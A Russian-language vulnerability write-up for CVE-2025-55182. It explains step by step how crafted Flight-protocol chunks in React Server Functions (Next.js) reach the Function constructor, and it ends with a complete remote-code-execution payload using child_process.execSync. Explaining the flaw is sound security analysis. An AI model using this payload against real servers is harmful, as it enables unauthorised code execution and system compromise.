
Proof-of-concept эксплойт для CVE-2025-55182, достигающий удаленного выполнения кода в React Server Functions через загрязнение прототипа и специально созданные фрагменты протокола Flight.
Оригинальный автор: https://github.com/msanft/CVE-2025-55182
Эта уязвимость позволяет выполнить удалённый код (RCE) в серверных функциях React, например предоставляемых Next.js, через небезопасные ссылки на прототипы.
Я не эксперт в React или Next.js, поэтому относитесь ко всей представленной здесь информации скептически.
React предлагает серверные функции[^1], которые можно рассматривать как своего рода RPC- через-HTTP. Они могут использоваться для получения данных от соседних узлов для обеспечения низкой задержки или выполнения аутентифицированных запросов, для которых у клиента нет учётных данных.
React использует так называемый React Flight Protocol[^2] для сериализации значений, передаваемых серверным функциям.
Клиент передаёт серверу «чанки» (chunks), например через данные формы:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Как показано, они могут содержать ссылки друг на друга. Приведённая выше нагрузка десериализуется на сервере в следующий объект:
{ object: 'fruit', name: 'cherry' }
Сам формат немного сложнее и допускает более сложную сериализацию и десериализацию, но это даёт базовое понимание для самой уязвимости.
До этого коммита[^3] при обходе чанков для разрешения ссылок,
например, получения fruitName из чанка 2 в примере выше, React
не проверял, установлен ли запрашиваемый ключ на объекте.
Это позволяло получить прототип объекта[^4].
Это можно продемонстрировать с помощью такой нагрузки:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Которая десериализуется в конструктор функции[^5]:
[Function: Function]
Когда чанк с ID 0 является не массивом, а объектом, мы можем
установить ключ then в конструктор функции. Затем объект
возвращается функцией decodeReplyFromBusboy и ожидается (await) Next.js:
// action-handler.ts:888 (до исправления)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Когда это возвращает thenable, await в вызывающем коде вызовет его.
Это происходит с такой нагрузкой:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Что приводит к такой ошибке:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Ошибка выглядит так, потому что V8 вызывает await-функцию
с внутренними функциями resolve и reject, которые при
преобразовании в строку (toString) сериализуются примерно так:
function () { [native code] }
Поскольку мы можем тривиально получить конструктор Function,
очевидный путь — найти call-gadget, который вызывает конструктор
с управляемым пользователем значением (т.е. кодом функции в виде строки),
а затем вызывает возвращённую функцию.
Есть несколько мест, которые могут вызвать конструктор функции,
например resolveServerReference, где id — это управляемый объект,
а lastIndexOf может быть переопределён для возврата управляемой пользователем строки
(например, через Array.prototype.join), а slice можно переопределить на конструктор функции.
Однако это место не работает, так как второй вызов .slice() передаёт число в качестве первого аргумента,
которое — насколько мне известно — никогда не может быть обработано конструктором функции.
Здесь приходит блестящая идея от maple3142[^6]. Когда getChunk
берёт чанк с ID 0 в качестве корневой ссылки для начала разрешения цепочки ссылок,
этот же самый чанк может разрешиться в поддельный «фейковый чанк».
Мы можем сослаться на поддельный чанк 0 в чанке 1, используя синтаксис
$@, который возвращает «сырой» чанк, а не его разрешённое значение:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Комбинируя это с нашей перезаписью then из предыдущего раздела, мы можем создать
нечто подобное:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Здесь чанк 0 перезаписывает свой собственный .then() на .then()
своего собственного сырого представления чанка. Проще говоря, мы перезаписываем
свой .then() на Chunk.prototype.then, который существует, поскольку
Chunk являются thenables:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
С приведённой выше нагрузкой Chunk.prototype.then в конечном итоге вызывается
с поддельным чанком с ID 0.
Как показано выше, когда .status на нашем фейковом чанке равен resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Мы попадаем в initializeModelChunk. Здесь .value парсится как JSON,
а затем ссылки разрешаются на возвращённом объекте с использованием «внешнего»
контекста наших чанков с ID 0 и 1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
Внутри этого мы теперь получаем второй проход вычислений с немного большим количеством значений, к которым у нас есть доступ благодаря уже разрешённому внешнему контексту.
Существует call-gadget в обработке данных-blob с префиксом $B
в протоколе flight:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Используя специальное поле _response, мы контролируем свойство response
поддельного чанка:
// в initializeModelChunk
value = reviveModel(chunk._response, // ...
С этим мы можем создать объект с поддельными свойствами ._formData и ._prefix:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
.reason необходимо добавить, чтобы обойти сбой при вызове toString
в `initializeModelChunk:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Указывая ._formData на конструктор функции, а ._prefix на
наш код, мы получаем вызов-гаджет для конструктора функции в
десериализации blob:
response._formData.get(response._prefix + "0")
// становится
Function("return foo; // 0")
Наша сконструированная функция затем возвращается parseModelString как
метод .then() поддельного чанка, который также ожидается (await), поскольку
всё это происходит в одной цепочке разрешения промисов. Таким образом,
возвращая thenable, наша сконструированная функция вызывается. Это и есть
требуемый call-gadget, упомянутый выше.
Собирая всё вместе с реальной нагрузкой для RCE, мы получаем нечто подобное:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Бонус, который делает эту уязвимость ещё хуже, заключается в том, что всё это
происходит во время десериализации, до того как запрошенное действие будет проверено
в getActionModIdOrError. Таким образом, установка заголовка типа Next-Action: foo
достаточна для срабатывания уязвимости.